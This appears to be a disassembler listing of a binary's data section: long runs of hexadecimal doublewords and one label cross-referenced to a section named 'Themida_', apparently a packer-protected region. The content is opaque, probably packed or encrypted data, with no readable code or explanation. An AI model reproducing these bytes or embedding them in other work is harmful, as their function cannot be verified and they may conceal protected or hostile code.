dd 0F57870F5h, 14F87E00h, 80E01981h, 25E70073h, 0CE38594Dh
dd 153DBF26h, 0DB828097h, 0E53FAEFEh, 4208B047h, 1EAEC7A6h
dd 5266C830h, 84CE0718h, 0F0906220h, 70C79294h, 85B6D100h
dd 0F2C0107Dh, 98AF71F0h, 6831129Ch, 3C520028h, 7D588EAAh
dd 3C40025Ch, 0CB8480CFh, 780CFB96h, 5DE4F9B8h, 88C70770h
dd 0F081121Ch, 0B503C287h, 0A3B65100h, 84B96333h, 0DED60F1Bh
dd 30605924h, 0A127E688h, 0CA7F7A0Fh, 0DB342045h, 2BB50F5h
dd 0F88542Bh, 0FC80AC42h, 68605A87h, 0D21B000h, 51840210h
dd 973B01F3h, 146B426Ah, 0E62AF4D8h, 720139FAh, 0D67AAF78h
dd 98DCA599h, 55FE00B1h, 0FF0C8E0h, 0E840301Ch, 0A9F4001Fh
dd 3172CFE3h, 0F300ED64h, 5C7F7097h, 3B146559h, 577DFB5h
dd 5393C0CAh, 8A248042h, 0A90074D3h, 861D9CB3h, 3D4EB88Bh
dd 0E4849697h, 8C0B5F51h, 130098D0h, 0A8C34842h, 0F04D1ADDh
dd 0DC47079Fh, 30D2FEFCh, 644A0FAFh, 0C5EE51Ch, 414B3AC0h
dd 9BEA55h, 0C73985EDh, 0FD5A5FA3h, 273E5201h, 9B16CF4h
dd 0B7C003C9h, 18A900BEh, 11DE07EEh, 9200C1D3h, 605D6AE1h
dd 7AABB57h, 33B75362h, 28EF7625h, 0AF8F8400h, 346D7028h
dd 0D7A7005Ah, 4E7479Eh, 0D400A1ECh, 8102FF8Ch, 39A3EB99h
dd 0CB023452h, 46A4646Bh, 82001C7Ah, 9FDEC463h, 7CEDFCEBh
dd 3D7DFE8Eh, 0D000C9A9h, 25B59D49h, 0A80B2F26h, 0D8C28910h
dd 0C5753EB5h, 0D4EBB381h, 74A071DFh, 2009FC0h, 0B99C7B30h
dd 3D93D68Ah, 0CA00BC89h, 98DD8234h, 301C920Ah, 0A400C43Bh
dd 22B5F43Ch, 0B98A185Fh, 377681A1h, 0EBB24103h, 0C119A918h
dd 8F04520h, 9FA22BC8h, 51101018h, 0F0C1E0A8h, 0DE20831Eh
dd 787C00FAh, 0CAB9FE02h, 13F60086h, 90A168C4h, 7F0022BBh
dd 0FD72A8EBh, 3F314432h, 550A1808h, 42813A3h, 84F6196Dh
dd 67400968h, 60CF8CDFh, 18DE7F1Eh, 31420E2Fh, 0A12416C5h
dd 0CB07AA4Eh, 0FD401389h, 6E2A8C44h, 0C200B0F9h, 0B67A4C02h
dd 5BFAE400h, 0A1CD0106h, 69520018h, 0F86C8C0Eh, 0D003F67Ch
dd 0A8C19D0Ah, 39A6A824h, 71340976h, 0F680055Ah, 0D2F01B17h
dd 75618D00h, 8CC4E020h, 18E40023h, 0B5410EBBh, 0A13B4FFAh
dd 5F670CDDh, 3A6A940h, 0DFB7B898h, 96AF83F8h, 0AD5908E8h
dd 0F37B777Ch, 0C387300h, 4E0182B1h, 3A2A00BFh, 46559107h
dd 311BF89Bh, 0A8D92E5Dh, 7B49F5D9h, 41120A60h, 18A4E3A8h
dd 1F7212Ch, 3200F27Eh, 23140E10h, 1800C54h, 5CC1CA55h
dd 43C9EDD6h, 82B097B4h, 4F0364BBh, 0A915B6F1h, 0D4B90A47h
dd 40646541h, 0BD85B8C6h, 0EA22E846h, 80B1063Dh, 5E3B0F48h
dd 32B2D10h, 0C0AE531h, 0D6ABA51Ch, 76247000h, 633DEBAh
dd 61A90017h, 0D9BE4FA8h, 960CF50Ah, 0F8F377D8h, 306A0086h
dd 2ABA8151h, 0C0E45A7Dh, 4D00DE7Dh, 0DF6D4CAFh, 7086FA2h
dd 52164BBBh, 10FD8715h, 9A9F4193h, 0A09E3200h, 8965FC1Fh
dd 667309h, 0EDF2E9E1h, 25766ACFh, 0D29EF907h, 6490D03Bh
dd 1C2FE89Ah, 0C0CD3D78h, 0B1FE6ADBh, 0AE006D96h, 90791DCFh
dd 30F7EDh, 0F102C323h, 0CD349549h, 8644EB24h, 0D45EFE00h
dd 28BDE4h, 0F96C374h, 20B102CBh, 429F5200h, 3E32C21Ah
dd 804A01C0h, 9B061943h, 0FFDCFC29h, 0D7CFA70Fh, 16646E53h
dd 6DD8C05h, 0E35878C0h, 905D1B24h, 8C0FCFDh, 0F6789D1Dh
dd 0B765F900h, 7DD3F321h, 7B5030A2h, 6EDF7028h, 0F23B3404h
dd 6304FED8h, 0BD810307h, 722CA03Eh, 38CA7E7Bh, 68802D21h
dd 107F8AA3h, 8100C3ADh, 43D41727h, 0CD82A1h, 0EBE73469h
dd 56F2A6F7h, 802A5E3Fh, 5F21A3BDh, 0E74CC10h, 0F12BB6EEh
dd 20E9DBE0h, 0B41DC879h, 530090A0h, 9B71831Ah, 6FF30061h
dd 0DF09FF24h, 0EB00FC4Dh, 6B5E7CC2h, 8587FAh, 0CE7D4F90h
dd 48DC63BCh, 7435DA00h, 31760670h, 9EA8008Eh, 5CCE6ACAh
dd 1400C1F0h, 0EB76B34h, 4B3D33Ch, 96D7E508h, 0E06BC7BBh
dd 0E2F421C8h, 2FEDEF00h, 0D86B7385h, 9BA5003Ah, 7D5F74D7h
dd 0AF00D96Eh, 0EB91D5F2h, 1FB7BCh, 6D3C369Eh, 8BC2B448h
dd 2FCE8D00h, 6B9FED94h, 79A50023h, 0F7347F7Ch, 1FE4D7DAh
dd 69C18000h, 7E18CA0h, 0FD39018Eh, 649C267Fh, 752370EEh
dd 760002B8h, 4956820Eh, 3DE31183h, 2907A7CEh, 7BB92E8h
dd 7F8D7018h, 0C8002DF6h, 679531A5h, 58BEEAh, 29CC79ABh
dd 0F544969Dh, 0F60055FCh, 0D883BF18h, 0AD275Dh, 1D9728E6h
dd 86A62EE1h, 84401F00h, 35B68CD0h, 8978A2h, 4EC93FA7h
dd 55671CC0h, 8A0344FEh, 547853BCh, 6F77A8CFh, 0FD7A0385h
dd 0FC36C595h, 21B87F83h, 0F500AFE2h, 8B88039Dh, 0AA3E53h
dd 0B4EEB0FEh, 16D62FC7h, 845EBF1Eh, 0D9F0A1C0h, 2830057Dh
dd 0D0A758h, 1180A867h, 709C271h, 47F6EE00h, 8CB26615h
dd 0DB980E4Dh, 12A08132h, 76FEFA7Fh, 9C9DE503h, 0F061C9F1h
dd 3B4152D5h, 2D008D79h, 2CE22B87h, 0A7039BD6h, 16F1B420h
dd 0D71288FAh, 0E6F2D5h, 2FAAF24Fh, 33D174AFh, 6AD89400h
dd 53B472ACh, 0EB0802ABh, 9CBF88ADh, 0ED384840h, 3E5BE000h
dd 0DA3B278Ah, 0C0EEF6BEh, 4C3DDEC0h, 82009D23h, 63C467AEh
dd 9CF7A5h, 0E274980Ah, 296AE325h, 0C7ABDF00h, 0AFEFCA0Ch
dd 880700ADh, 8622B9E5h, 8700CFC4h, 5FE9E7CDh, 59A471h
dd 0D1CE992Dh, 8C72C6DCh, 0E1B3D41Ch, 4378F08Eh, 0B01D19B5h
dd 1C4B3Bh, 0E9FBD5F8h, 0AB2A4714h, 600E3Bh, 0E6D4E1A1h
dd 98BD1577h, 0B0642918h, 40411F88h, 0C7F280DFh, 0DC0004ECh
dd 0ACD7D3A5h, 83F738h, 22610A87h, 0C627A34Ch, 8C8DE724h
dd 58673707h, 69D7C03Fh
dd 4898AF9Ch, 0C90048FCh, 2F0C5CB1h, 45005EE8h, 6A7B6553h
dd 0A0736BBDh, 3BA0BAE4h, 340F132Ah, 674F5D76h, 10304D60h
dd 0F5585856h, 3B8100E5h, 477CC45h, 0F7BD04A1h, 80A666D6h
dd 0D5748BA9h, 270E547Dh, 2092A077h, 63214D9Dh, 0D4E90053h
dd 0FB5A75A4h, 0E000773h, 87C618BCh, 13DC89B4h, 15E69EFh
dd 0B57478F3h, 0EE66F027h, 834B9F00h, 0DB3A79BBh, 0E01B00A3h
dd 7C47ABA1h, 961318AEh, 0C440705Ch, 9E90B3E8h, 31380EF9h
dd 30400726h, 0BD61F2AEh, 11FD7500h, 0D9AB937Eh, 0D32700FAh
dd 0F36EF959h, 90019E1h, 0D892A4BAh, 3D96AE5h, 4BC1496Fh
dd 1AC074C3h, 5A5E2FF7h, 930045A8h, 3198D71Bh, 15FAC2DAh
dd 0F124CF00h, 63B60AA6h, 3AFB803h, 0BF5A543Dh, 0B9C0B772h
dd 0A4000B3Bh, 28AC9BBAh, 8C74B4h, 7F264EF4h, 130C5335h
dd 0F5DCD00h, 0A087B1A9h, 4304006Bh, 0F694B328h, 99007A89h
dd 93067120h, 0B07E36h, 0DB2F5845h, 0CED9ADE6h, 2A07C61Fh
dd 83B807Dh, 74D5332Bh, 0B05D5C0Ch, 505E0073h, 0B2320655h
dd 21C0D21Eh, 51CF7A8Ch, 5DED5CC7h, 0B38E7109h, 1F7C4C00h
dd 7A0088D9h, 0C5F52029h, 48A5AD6Fh, 0A80E013h, 0A8EA771Ch
dd 59747C00h, 2D2FD55Ah, 540400D7h, 35C522A5h, 4B00FDEDh
dd 96F6252Ah, 0A6F801h, 0D4DC1B8Bh, 36EFAADBh, 1CCD9A00h
dd 1E6D70B0h, 6F0C00BBh, 0C1506873h, 0F6E95A27h, 0F3DE780h
dd 0C6006BF4h, 0BBDFF514h, 76B3CCh, 0C45BC207h, 6D525F8Dh
dd 890C3700h, 24E7DBB6h, 0BDAF3B65h, 87D12500h, 0D6497D6Ch
dd 0BC98E3Bh, 21734A48h, 2C37DE4Ch, 1D30E3ECh, 80EB921Bh
dd 8A0B2DA8h, 417D9616h, 87074638h, 0BB625069h, 0D45549B0h
dd 0EAE8030Ch, 57B154FDh, 75E036B8h, 0CC3CD4Ch, 61AC3A8Dh
dd 0FF7529h, 889486BAh, 0FE63133Fh, 995A6A3Dh, 62102782h
dd 0F035FD1h, 7D2D1BC0h, 0E28FB5Ch, 8158D045h, 8E3059Ah
dd 7502034h, 59FFA967h, 6123C184h, 0E5188024h, 0B8888AE0h
dd 44990039h, 470F69D8h, 0AE30EC02h, 7615A6B3h, 1BC500C3h
dd 0D39BECEh, 0DF604888h, 0A7BD4741h, 0C2463E60h, 19D82B18h
dd 2100E25Fh, 4F0CB77Ch, 0F2A14DA2h, 29D901FFh, 0B8EB8784h
dd 0A9B7F0B4h, 0DEFE3300h, 571DEFF8h, 9A9E032Eh, 1FD40AE2h
dd 93879CD8h, 0ABC5FA00h, 0C7A12180h, 14BC72FEh, 9C9F9DF0h
dd 0A3A4B00h, 5ABDDABAh, 0E1E35C00h, 0E0BF8405h, 3BFD00F2h
dd 0A168F3AFh, 0EC00118Dh, 74F93D9Bh, 0F0A4D688h, 0A6C53CA2h
dd 64121400h, 36FE80CCh, 61016900h, 50E50B41h, 0A216115Fh
dd 123E3EBDh, 91012E20h, 453DF9A7h, 21B7089Ah, 133A9B80h
dd 8EC3F812h, 0FFC48EF0h, 9D21ACh, 284CDE11h, 0F12C0473h
dd 2A787F60h, 0D8016854h, 9D187969h, 3B070486h, 61453324h
dd 9E005A6Bh, 23003F4Ah, 7946A622h, 418DBAh, 96D83A8Bh
dd 98A0DC54h, 90623000h, 0B7EDEA40h, 54947Ah, 14FD12A8h
dd 3F0771E0h, 39C887B3h, 5E210246h, 21860047h, 7A5D69C2h
dd 8E5EEB06h, 1CA127E0h, 806C3288h, 0FBB33A8Ah, 0ACA08B6Bh
dd 0C001D10Ah, 904F0804h, 68477D03h, 0EA92A9A0h, 60C07DD3h
dd 2D572002h, 8A05F965h, 8F19315Ah, 35A1EB00h, 793BAFAh
dd 4B9EA5B5h, 7534A00Fh, 0D6007987h, 1DDFAEE2h, 7959D5C1h
dd 52C00021h, 0C2BF0691h, 7015387h, 2EB68F4Bh, 0E89E3B65h
dd 0BD86806Bh, 80402271h, 1346F407h, 0E610AC95h, 7D23A3h
dd 0A997C4CCh, 3DC322D7h, 0DDDFA700h, 9508AD1Fh, 0E30B00F6h
dd 35349CC1h, 0B1752B70h, 0A4330603h, 0FF13E00Fh, 0A7CC8130h
dd 3DB5FEDAh, 6887C93Bh, 60A308A2h, 6456D792h, 70725A00h
dd 3A875385h, 9E160C36h, 221466B3h, 5C5B800h, 6CE3B575h
dd 0AD1E000Ah, 720BB14Eh, 2800CE67h, 0CFDC9CA8h, 850D6Dh
dd 0DFB076A5h, 99E08D06h, 80E63D30h, 26CF2E24h, 2FAB2Fh
dd 0E84E0785h, 0EC007497h, 78A79FDAh, 0CB6931h, 6150A34Ah
dd 601A731Bh, 0BFCC9003h, 755C5B9h, 0AA9CD962h, 94A180BEh
dd 0DB24227Bh, 33D111Fh, 0C0F6F4EEh, 8A83A37h, 55B85CBFh
dd 26E8A580h, 0B43ED261h, 228A3600h, 6584D64Bh, 4E86Ch
dd 71CBCDD0h, 0F9F03077h, 28446130h, 0C6CFADh, 862ABF0Ah
dd 0E7028C40h, 0A300017Bh, 98668A58h, 9D6BB7h, 0F5777B72h
dd 7F40542Bh, 0A5E0E61Dh, 3AC2C447h, 0DB533D70h, 0D872006Eh
dd 36B3ADA8h, 32018728h, 71D64625h, 0C28FD5E7h, 98805C19h
dd 729E0E83h, 43BDF500h, 3AB052A8h, 46B800DDh, 62036450h
dd 0D600C6A4h, 9FFBF613h, 0F8CC718Eh, 4F350076h, 4C6C5FA3h
dd 0E4007BF3h, 53C2C717h, 4DAF55h, 0B0CD7F87h, 0B5C94504h
dd 73C291C3h, 49F907B8h, 409EBE42h, 7E083D33h, 0DF0F0E7Bh
dd 0A0CD533Eh, 0B1DB3762h, 2A7A007Fh, 1BA0E807h, 5D58961Fh
dd 0E59A0078h, 0DC5016F7h, 3B2A0035h, 21A687DEh, 0D3B90A7h
dd 0D55200D7h, 0CCC737BFh, 0E8765Eh, 7F502C4Dh, 9C76783Eh
dd 0FBD51F00h, 0BA5D6B3Fh, 0DD890022h, 0B63BDBD1h, 617E7254h
dd 91B39703h, 0C0E06C39h, 7C9F8E12h, 98DE3C1Fh, 31057B80h
dd 0C0B2D7C4h, 0CDBFF300h, 943E4B7Eh, 621A00F1h, 0A7E798E4h
dd 0AA0029C5h, 11F7BCAFh, 0D396C3h, 0E06FDE1Ah, 0DBCC9D03h
dd 0DC5E9B00h, 0CFF33DE5h, 6157129h, 627198AEh, 4F0C918Fh
dd 38C8F793h, 98F8CF63h, 0A037D880h, 1400C5CDh, 0A3915844h
dd 7D2A5B0Dh, 967E00F5h, 26655251h, 48C371A5h, 0D0FDC7EBh
dd 0F0B141FFh, 65F86Dh, 0A211C6C3h, 0BF20637h, 0FE4C2800h
dd 0EB5B3F18h, 19A7E20h, 0B0E6E24Fh, 0F4988E9Eh, 0AE002945h
dd 0F5D6DE62h, 3B133BBAh, 5307AF19h, 216D88A6h, 8C063A44h
dd 20393808h, 491200F6h, 0B991CF64h, 2C076226h, 41CD2F6Dh
dd 5331F220h, 582B000Ch, 1530C35Ah, 0AE3F61DEh, 193C7CDCh
dd 0F928155Dh, 53031338h, 38FD010Ah, 60406144h, 0DC1753AAh
dd 0F10BC60h, 0F5AA3DBh, 0B22DD880h, 4463B920h, 130B8B05h
dd 77684301h, 605AF580h, 0BA00F379h, 0D5B44440h, 3FDCEDAh
dd 0B682E76Eh, 0A8608BD0h, 0C650F69h, 6EB73A04h, 40006BC0h
dd 0D54CF8B4h, 66A0BE61h, 31C3087Eh, 0B443620Bh, 0EB2B8006h
dd 0EAA5B67h, 778E4020h, 4C472187h, 20C5660h, 18A34E9Dh
dd 5C7B801h, 0C7B368Ah, 7E38203Eh, 43230EB4h, 66240845h
dd 4EF10400h, 0D7A528h, 73232AD4h, 9383FB02h, 0DE65BD01h
dd 0C5D5FE0Ah, 0F9B0B847h, 0FA2F212Dh, 0D1953E84h, 0FE7E2600h
dd 0E7C7A646h, 34E99E00h, 7BA07702h, 81B01Ah, 454250F4h
dd 52A7DBAAh, 5DD95300h, 0AF15A25h, 0C1BE009Dh, 89A3B482h
dd 7800BF1Dh, 949AD1C8h, 435AD3h, 0F6C67554h, 9BDDEBEDh
dd 0AAB7BB00h, 0E34F6109h, 1F460185h, 49C31A17h, 29C2E463h
dd 99E8EF01h, 71FDF947h, 3B70D030h, 9180B14Fh, 7E030EC9h
dd 0EE021F09h, 0AF24B493h, 4024E2ECh, 0A496CEh, 9BBDE432h
dd 3DE242F7h, 0E3FF7700h, 0AF37F6EEh, 985B605Dh, 268268B8h
dd 56F71300h, 88520896h, 0FC776D8h, 3FC4EFDEh, 588CD0CEh
dd 3B005421h, 0E1403905h, 7F7EF7h, 0CB5145EAh, 0AAB82358h
dd 32285E60h, 7314978h, 79FD7E0Eh, 2B6010ECh, 0BD00D8D5h
dd 0DEB34AF2h, 608E0EE9h, 729030E1h, 42981019h, 60295A48h
dd 272E8948h, 0B6AB30EEh, 62AD5659h, 0C0DFFD03h, 90017E21h
dd 5E4B24h, 27353F9Ch
dd 0E184D291h, 2E859D1Fh, 0CA040B00h, 22E264h, 0DFCD7EE3h
dd 25D63649h, 54818C07h, 0D1466E87h, 0F8700E21h, 0FCA73C49h
dd 89C9E07Ch, 0AA00B171h, 2ADFF261h, 0CD0A02h, 9B900D2Bh
dd 5F9E93EDh, 2FE03A00h, 0AD51C36Ch, 61B1DF2h, 265E809Dh
dd 0BAF80B19h, 14A0D500h, 3B8CBB23h, 308A0057h, 0E407837h
dd 0AF0E4D62h, 0C6E4E0B4h, 2EABE3h, 357A6DA7h, 0C6F859Fh
dd 9CDC3D00h, 0DB69BACFh, 492900B7h, 5209B0BEh, 3C2DB404h
dd 69C3602Fh, 0F0C22E7Bh, 0CC550064h, 0B12ACA62h, 5C177E38h
dd 118F00CAh, 466A2E7h, 518B1E43h, 0E632C958h, 54624303h
dd 0BB5F2CC0h, 40696Fh, 0FF90ED91h, 4BB53AB7h, 321CEA81h
dd 0FC4438AFh, 9D3DDA6Eh, 2DEC800Bh, 3528668Eh, 0CA730019h
dd 0F2FB5C89h, 8800E5E8h, 4D7ED818h, 1CA11Ah, 9F366BC7h
dd 0AC7A628Bh, 0FD5FD303h, 0F8FA638Eh, 61564833h, 2AC26828h
dd 0FFD8EC58h, 0D951600Eh, 0C546A07Ah, 1F186190h, 31C680h
dd 208CB87Bh, 0AA00B5C2h, 0F2A071A4h, 2E1481h, 404167F0h
dd 858CDBD3h, 0A11AC00h, 6E37768Ah, 0B26F0091h, 0C504830Dh
dd 0F401F7EDh, 0AFA07503h, 488073FCh, 3B7B9B7Dh, 8A000D39h
dd 9843218Dh, 561074h, 67031C3Ch, 5E076F1Bh, 938D7E00h
dd 667850AAh, 0D07000F4h, 91BD36C3h, 39000EC5h, 748177B7h
dd 3FF46A92h, 79F028h, 49648983h, 6054E904h, 2387A00h
dd 28D53C94h, 30EFB8B1h, 0BD907E5Ah, 0B0033989h, 56A6E988h
dd 803A0FFh, 337301B9h, 0F2F468Dh, 83FEF4E2h, 9305A00h
dd 73B8C957h, 0DDB8FFh, 9BE43C8Dh, 95704491h, 0F3A03B78h
dd 4100A1E2h, 3EE7F88Ah, 4771Ah, 7BF7EFB9h, 26DD238h, 0C90E677Fh
dd 20E59BF5h, 4F838490h, 54AF0776h, 0D0664541h, 8F042AC5h
dd 8B759F00h, 93992CF1h, 525C00F5h, 49CAE64Bh, 0BD60799Dh
dd 68CC1B28h, 0EACF0384h, 0EC980603h, 0B8395800h, 14D2175Ah
dd 19B41855h, 0CCEA082Ch, 53D820C3h, 0CDD3B88Ch, 61B51D1Ah
dd 478E1E76h, 2C84992Eh, 353A0448h, 422A0CEBh, 0F85570C1h
dd 34095466h, 0B25A04B9h, 3369DCD1h, 0E3E105DEh, 3AA8DF0h
dd 0D64A9DA7h, 0DA240AF5h, 8BA54058h, 59214C8Eh, 0EB53886Ah
dd 8B3CD700h, 4B73F7h, 203AA8BEh, 21AB791Ch, 0CD619600h
dd 0F71E5030h, 9F1900C9h, 0A71D5E9Ah, 0DF014DB7h, 2347424Eh
dd 0ED707AE6h, 0CAEC05C1h, 0C07157C6h, 254CBC74h, 9DDC843Fh
dd 0B740A4A8h, 22B3A050h, 0DFD900A7h, 430F34E3h, 1000D5BCh
dd 0DB851BCEh, 126FCFh, 51A43FB6h, 0F682233h, 0E7EECC0Eh
dd 82D9C36Ah, 0C40C9802h, 0B2E5002Ah, 0EF2E3CB6h, 5AB80555h
dd 0A00FF200h, 7948925Ah, 0B51019Bh, 6A8162A9h, 0F7C0DA21h
dd 0DE00A1CCh, 0F76BD02Eh, 5DD2BE2h, 642410AFh, 0AD31C315h
dd 0DF5BD3D8h, 0D078B11Fh, 2CD58040h, 6C02BA8h, 0D4DD6B85h
dd 0C0902E5Eh, 830A263Ah, 9D5A0593h, 2DA6D8C2h, 34810038h
dd 0C2A3331h, 0DC00BCF9h, 6A2E6107h, 0B882Bh, 0E49A08FDh
dd 0F57633C4h, 0CE44861Dh, 539BD680h, 7FF2A0Ah, 0E40FF7DCh
dd 0AFB8E043h, 95001485h, 755B7465h, 94E0EBh, 427793C1h
dd 90699B6Bh, 803A5E39h, 5122F4DEh, 0FC570F72h, 0E4BC0003h
dd 17CA19E5h, 2339C64Bh, 204E009Bh, 0CB163C59h, 3D730BF4h
dd 200CAD6h, 4C119F4Dh, 0CC460226h, 7D4DC03h, 0BB4D060h
dd 0E7979BBh, 0E8DB3B9Bh, 0B2643660h, 1201C1B1h, 2D638A59h
dd 60E8E293h, 73F5007Ch, 0F1F8AA53h, 0F00476Ah, 63C8570Bh
dd 0D0486h, 15EAE350h, 8A22349Ch, 7348011Eh, 0A1C27740h
dd 0E9749h, 2D6F6D9Eh, 134C9AC3h, 0F929781Dh, 0F6245043h
dd 0E2D08F79h, 0C00DE4h, 454D6A90h, 8552E52h, 1E20FE05h
dd 0B80D3EDh, 0EB5077h, 7B0E569Bh, 4421266Eh, 98AB3500h
dd 5E5C947Dh, 0AC3E000Ch, 4E582749h, 190E1DD8h, 60A53B39h
dd 5B9C8EC4h, 48210092h, 26494BF5h, 472EDEBCh, 6A005A5Fh
dd 0CEEA509Eh, 57551D83h, 0F24CC766h, 0CA1AB0CDh, 7B0039FBh
dd 247D5DC4h, 981389h, 5563D25Bh, 0EDE3A214h, 0CCF2FE00h
dd 109C6B11h, 71F8B4h, 4773864Dh, 0CB80971Bh, 0E620AD06h
dd 1D8D18Ah, 0E7D6C42Fh, 0FC232B74h, 3F00777Eh, 1A44AB9Eh
dd 0DE7C50h, 0A5352537h, 8F6C4B69h, 0EA0014B0h, 0DCDBB0Ah
dd 8E4DFCh, 0C82165B8h, 0E1F08538h, 6FF89624h, 0B2B02400h
dd 0EA42269h, 52385F8Fh, 0AA09110Eh, 0C2B45303h, 30E8B688h
dd 5A7A9100h, 0EADDAEE3h, 11A109F3h, 3C01B00Bh, 0E4598B89h
dd 0CD02F57Bh, 0DC074E26h, 0DFECE038h, 22B40EB9h, 452FB1C6h
dd 0B774FE80h, 6590233Ah, 0F30093E2h, 7780D1ACh, 3E246h
dd 5683D096h, 73B3070Bh, 0F2538B12h, 46CF4800h, 1405EA03h
dd 0A06FC0C6h, 4FEFC501h, 89AF78C3h, 20328AA0h, 0A56A1724h
dd 0E60B007Bh, 0D757531Dh, 7F00F00Fh, 0F4298A93h, 5828Ch
dd 0D6F739Ah, 0ACC9FB20h, 2FCB8500h, 5DECA827h, 0ADBD01FAh
dd 6504E2C4h, 18888008h, 6A6CD837h, 231C0258h, 32A7A629h
dd 0B59293C0h, 2B958000h, 0DD344BF1h, 6BEB00CAh, 0BE88E905h
dd 0A3F6EAC4h, 6D9AA700h, 0CFD34E3Eh, 0A99D0FFDh, 25A027ACh
dd 34FFF044h, 3F95B300h, 0A10F270h, 421200A9h, 0A43D40B1h
dd 0A01FBFC7h, 4640C167h, 652449AEh, 0BBD8FD6Dh, 95B81E10h
dd 0FE17000Bh, 82883FD4h, 0AA8CF554h, 80EC9300h, 0A4B4B2CDh
dd 206F3A46h, 0B11600F7h, 569106EDh, 0AC006C11h, 1B24F5B6h
dd 6F20BCh, 99B72C38h, 413EDDDAh, 7382CD00h, 65DF86E9h
dd 0BF7500B4h, 8AA3B9CBh, 0C8E2EAF1h, 84FC4B0Eh, 0ABA0A0FFh
dd 1D20FD48h, 404505B6h, 42F715A7h, 7F009D3Bh, 2A384610h
dd 12EDDDCh, 0C7EA2DEBh, 6042152Fh, 0A2780818h, 2C378801h
dd 2115304h, 71D84DCh, 0DA60A7F3h, 0C96E3082h, 9F07259Ah
dd 6D54E99h, 538976F0h, 553A12C3h, 1610402Ch, 5A3DAD40h
dd 1D9BA83Ch, 35876FE4h, 0EE3EBEAh, 340798E2h, 450A00C4h
dd 0F3662573h, 0E0004818h, 361CD24Ah, 1CA5F939h, 8919692Dh
dd 0D800AF1Dh, 914826ADh, 0C123C207h, 42D22BEEh, 40D86276h
dd 184E089Dh, 10E1AD7Ah, 4F7335AAh, 4B684700h, 0A749E850h
dd 888E0FACh, 0D5423808h, 0F74053CCh, 8A98C7B2h, 2151721Ch
dd 4B406941h, 0DDCCF654h, 90AE00A5h, 3CEB0BB1h, 687BD322h
dd 0DB00C5B8h, 9276A7A9h, 1D541A7Fh, 403A16D4h, 19C8B5A0h
dd 0AA1E376Bh, 0BDC05D72h, 0C4CC442Bh
db 1Bh, 48h
word_4D905A dw 602Fh ; DATA XREF: Themida_:00507FD4o
dd 88FE6D01h, 0E0F1B720h, 0BA0303C8h, 0E688956h, 6AB3C805h
dd 13B20044h, 255961A6h, 6C00F575h, 9A3701EFh, 835499h
dd 0F47209BFh, 0FC818A60h, 0C8517803h, 98D9BE75h, 1F04A8B7h
dd 0C09B1F8Dh, 0F839D473h, 0BC0AFD8Ch, 82FF3DE3h, 28C0CE1Dh
dd 1FC56558h, 0FBF60FC2h, 3E0E485h, 2FDB1A60h, 0AF2348h
dd 6CDAAC40h, 1D732C2h, 0FD972288h, 0E09FE4ECh, 67F8D8C0h
dd 6717832Ch, 7E81D300h, 4756C6h, 6B2CE90Eh, 17391179h
dd 0E8FD3Ch, 0B8435566h, 7AF6Ah, 0A7D8820Ch, 0C35F3DD1h
dd 0C6CB4A00h, 9380A568h, 973800AAh, 3615EDE4h, 1000AD3h
dd 0C24FF006h, 3A70F24Eh, 880198B7h, 9269CBE1h, 0C8AF2178h
dd 0C3136B31h, 0F0002FA4h, 0DC171AF5h, 82132C68h, 3FAB0BD5h
dd 3255F780h, 6B001638h, 736F3560h, 5A3B28h, 0F73D1BBEh
dd 0C60CFF4Fh, 6FC4700h, 0CEAB4B4Ah, 0AA800216h, 0D8F38987h
dd 0F04C64E1h, 0CD07DDC1h, 4428C7C5h, 5F808F90h, 0FF640155h
dd 0DDD515FBh, 6E908334h, 70D2C27h, 7027738h, 69A4014h
dd 922E5158h, 0F100B8FAh, 0ADA1E04h, 0D1600CAh, 36F752E0h
dd 5300DDEAh, 0F869405Dh, 0B8E8A8AFh, 3E96E0C8h, 75BBA79Ah
dd 2E02C84h, 504C03Ch, 2F007F1Ch, 0DFBEBF91h, 772899h
dd 98EE3013h, 152D0539h, 9C4158C0h, 16999C8h, 0F7BE2970h
dd 0D5CB9AA6h, 7AA4CCB1h, 9000D871h, 0B3D1D038h, 0E08EE999h
dd 35E30095h, 0A4B02632h, 0D4005CE1h, 3EC72F1Eh, 3858BE5h
dd 0EBD3039Eh, 32D0ED78h, 5F00D611h, 79DD8064h, 4D65C1h
dd 142918ADh, 16A7CCF8h, 8A0FC2F4h, 0C010D598h, 0F4D30994h
dd 0E691FC32h, 115B1661h, 375440D8h, 0F5148595h, 4C98F8FAh
dd 4B537C0Fh, 4D024641h, 0FB150310h, 70AF9BD5h, 1C862AC8h
dd 425D4B74h, 8DAA0104h, 0FD34B0F7h, 0F20AF4h, 899A3076h
dd 0F5651F49h, 80164F3Fh, 1191A2E0h, 9014092h, 307D7F24h
dd 60D790C0h, 0E3EC10B2h, 0E0069D00h, 0A82D3B22h, 5108CC1Dh
dd 0C200BCA1h, 0CE908FD0h, 2D23749h, 0A3206AC9h, 5C4842AFh
dd 2E001EB5h, 0BEE336F8h, 1E80E23h, 1F4B5ED9h, 801BD3C5h
dd 0A30D1390h, 3EB4F7h, 46CB70FBh, 270CC68Fh, 94D683Ch
dd 83BA6220h, 0E8EFDE5Ah, 0D787ADh, 162BFE61h, 75F93E21h
dd 0DD674400h, 0A4530886h, 0F336005Dh, 0D47439Ch, 0F212F0E4h
dd 0B700F739h, 8DC40746h, 0E0D71E5Dh, 41E801FBh, 2B155162h
dd 0E01949A0h, 9E7900F8h, 899DE0A7h, 0D000B827h, 0CAF233D8h
dd 3BFC9924h, 0B71E734Ah, 0AFA28FD3h, 0EF42403Fh, 8EF308B4h
dd 0E474D000h, 26E211BAh, 0D7D50063h, 1D3E22A3h, 0E903EB6Fh
dd 0B582189h, 0C6B7A833h, 0B9103A9Dh, 0E5C57003h, 55F8DCE9h
dd 0E60350A9h, 3CFCB806h, 1AD0E7C9h, 0FB3E243h, 208D68CFh
dd 52172140h, 0D30713F0h, 0C8A277FDh, 22A99860h, 87C903EFh
dd 50AF9358h, 1B2FC0B7h, 9A17E9E2h, 3D1BD6EBh, 0CC94C090h
dd 0A2BA0160h, 521E4E2Dh, 7AA17F47h, 1B2000F3h, 5AE46114h
dd 780048CBh, 5D240227h, 37691657h, 10B8DBFDh, 0D19B03F4h
dd 0E3AE8B07h, 0E130DC2Bh, 0E091D2Ch, 85F4E8C6h, 0D9DD6100h
dd 4C0EA46Eh, 86C1D49Bh, 209172h, 8861F590h, 38F77AB5h
dd 0BB6BD100h, 4EA8964h, 0ADCD00ECh, 621CDBFFh, 8B7CFBABh
dd 2F9BF700h, 89EBE73Ah, 2DFE40BEh, 3D411304h, 0F1C1507Ch
dd 0FDC8962Bh, 8F120708h, 10BA7AA5h, 62FCCA6Ch, 517DAF00h
